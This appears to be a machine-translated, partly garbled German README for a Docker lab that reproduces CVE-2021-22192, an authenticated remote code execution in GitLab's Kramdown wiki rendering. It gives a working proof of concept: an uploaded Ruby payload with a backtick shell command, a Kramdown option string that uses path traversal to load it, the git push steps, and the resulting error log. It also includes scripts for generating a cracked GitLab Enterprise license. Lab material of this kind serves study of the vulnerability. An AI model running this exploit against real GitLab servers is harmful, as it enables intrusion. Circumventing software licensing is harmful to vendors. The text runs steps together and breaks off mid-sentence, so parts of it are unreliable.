
CVE-2021-22192 靶场: 未授权用户 RCE 漏洞
CVE-2021-22192 Übungsplatz: RCE-Schwachstelle für nicht autorisierte Benutzer
CVE-2021-22192
├── README.md ............... [此 README 说明]
├── imgs .................... [辅助 README 说明的图片]
├── gitlab .................. [Gitlab 容器的挂载目录]
│ ├── Dockerfile .......... [Gitlab 的 Docker 构建文件]
│ ├── config .............. [Gitlab 配置挂载目录]
│ ├── data ................ [Gitlab 数据挂载目录]
│ ├── logs ................ [Gitlab 日志挂载目录]
│ ├── keys ................ [Gitlab 破解 License 存储目录]
│ └── nginx ............... [Gitlab 内置 nginx 配置目录(备份配置,勿改)]
├── runner .................. [Gitlab 容器的挂载目录]
├── license ................. [破解 License 的容器构建目录]
│ ├── Dockerfile .......... [License 的 Docker 构建文件]
│ └── license.rb .......... [生成破解 License 的 Ruby 脚本]
├── test .................... [Kramdown 调试目录]
├── docker-compose.yml ...... [Docker 的构建配置]
├── keygen.ps1 .............. [Windows: 一键生成破解 License]
├── keygen.sh ............... [Linux: 一键生成破解 License]
├── run.ps1 ................. [Windows: 一键运行 Gitlab 靶场]
├── run.sh .................. [Linux: 一键运行 Gitlab 靶场]
├── register.ps1 ............ [Windows: 一键注册 Runner]
├── register.sh ............. [Linux: 一键注册 Runner]
├── stop.ps1 ................ [Windows: 一键停止 Gitlab 靶场]
└── stop.sh ................. [Linux: 一键停止 Gitlab 靶场]
./keygen.sh oder ./keygen.ps1./run.sh oder ./run.ps1Beim vorherigen Erzeugen des Schlüsselpaares wurde der öffentliche Schlüssel bereits im Gitlab-Container hinterlegt. Nun muss noch der private Schlüssel über das Frontend hochgeladen werden, um den Crack abzuschließen:
./gitlab/keys/ erzeugt. Kopieren Sie den Inhalt von .gitlab-license (der private Schlüssel).Enter license key, fügen Sie den privaten Schlüssel ein und klicken Sie auf Upload license, um den Crack abzuschließen.
./register.sh $TOKEN oder ./register.ps1 $TOKENAb diesem Zeitpunkt können alle Repositorys diesen Runner zur Ausführung von CI-Skripten (Pipeline-Jobs) verwenden.

Angenommen, Ihr Gitlab-Benutzername ist ${username} und der Repository-Name ist ${repository_name}. Nachdem das Repository mit jekyll erfolgreich eine SSG (Static Site Generator) erstellt hat, müssen Sie nur die folgende URL aufrufen:
http://127.0.0.1:8000/${username}/${repository_name}/public/
Einzelheiten siehe hackerone.
+ -> New snippet.Title kann beliebig ausgefüllt werden. Klicken Sie in das Eingabefeld Description (optional), dann klicken Sie auf Attach a file und laden Sie eine Datei namens payload.rb mit folgendem Inhalt hoch:puts "hello from ruby"
`echo exp was here > /tmp/exp`
Zu diesem Zeitpunkt wird in Description (optional) ein Link zu dieser Datei angezeigt, z.B.: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb). Die Datei wurde bereits in den docker_gitlab-Container unter /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb hochgeladen. (Ob Sie Create snippet klicken oder nicht, ist nicht wichtig; merken Sie sich nur den Hash des Dateipfads.)
Hinweis: Verwenden Sie nicht
Snippet -> New snippetin der linken Seitenleiste eines bestimmten Repositorys, da der angezeigte Dateipfad sonst[payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb)wird. Tatsächlich wird der Pfad im docker_gitlab-Container dann/var/opt/gitlab/gitlab-rails/uploads/@hash/randomstring/payload.rbsein. Da ein zufälliger String in der Mitte enthalten ist, ist dies schwer auszunutzen.
+ New Project. Der Name kann beliebig sein (z.B. poc, oder Sie erstellen kein neues und verwenden ein vorhandenes Repository).Wiki und dann auf Create your first page.Title und Content können beliebig ausgefüllt werden. Klicken Sie auf Create page.poc-Repository mit dem Namen poc.wiki. (Klicken Sie oben rechts auf Clone repository, um den Clone-Befehl zu finden: git clone http://127.0.0.1/root/poc.wiki.git).git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki aus, um das Wiki-Repository lokal herunterzuladen.{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
git add -A . && git commit -m "page1.rmd" && git pushpage1. Klicken Sie darauf./tmp/exp erstellt wurde.Nach dem Klicken auf die Seite
page1.rmdkönnen Sie tatsächlich Fehlermeldungen ingitlab/logs/gitlab-rails/exceptions_json.logsehen, aber das beeinträchtigt nicht, dass der Befehl bereits ausgeführt wurde:
{
"severity": "ERROR",
"time": "2021-04-26T10:36:07.978Z",
"correlation_id": "A24bByUP9L5",
"tags.correlation_id": "A24bByUP9L5",
"tags.locale": "en",
"user.id": 1,
"user.email": "[email protected]",
"user.username": "root",
"extra.project_id": 1,
"extra.file_name": "page1.rmd",
"exception.class": "NameError",
"exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
"exception.backtrace": [
"lib/gitlab/other_markup.rb:11:in `render'",
"app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
"app/helpers/markup_helper.rb:153:in `markup_unsafe'",
"app/helpers/markup_helper.rb:138:in `render_wiki_content'",
"app/views/shared/wikis/show.html.haml:25",
"app/controllers/application_controller.rb:134:in `render'",
"app/controllers/concerns/wiki_actions.rb:68:in `show'",
"ee/lib/gitlab/ip_address_state.rb:10:in `with'",
"ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
"app/controllers/application_controller.rb:491:in `set_current_admin'",
"lib/gitlab/session.rb:11:in `with_session'",
"app/controllers/application_controller.rb:482:in `set_session_storage'",
"app/controllers/application_controller.rb:476:in `set_locale'",
"lib/gitlab/error_tracking.rb:50:in `with_context'",
"app/controllers/application_controller.rb:541:in `sentry_context'",
"app/controllers/application_controller.rb:469:in `block in set_current_context'",
"lib/gitlab/application_context.rb:52:in `block in use'",
"lib/gitlab/application_context.rb:52:in `use'",
"lib/gitlab/application_context.rb:20:in `with_context'",
"app/controllers/application_controller.rb:462:in `set_current_context'",
"ee/lib/gitlab/jira/middleware.rb:19:in `call'"
]
}
page1.rmd mit folgendem Inhalt hinzu (beachten Sie, dass der Hash im Dateipfad durch den zuvor erhaltenen Hash ersetzt werden muss):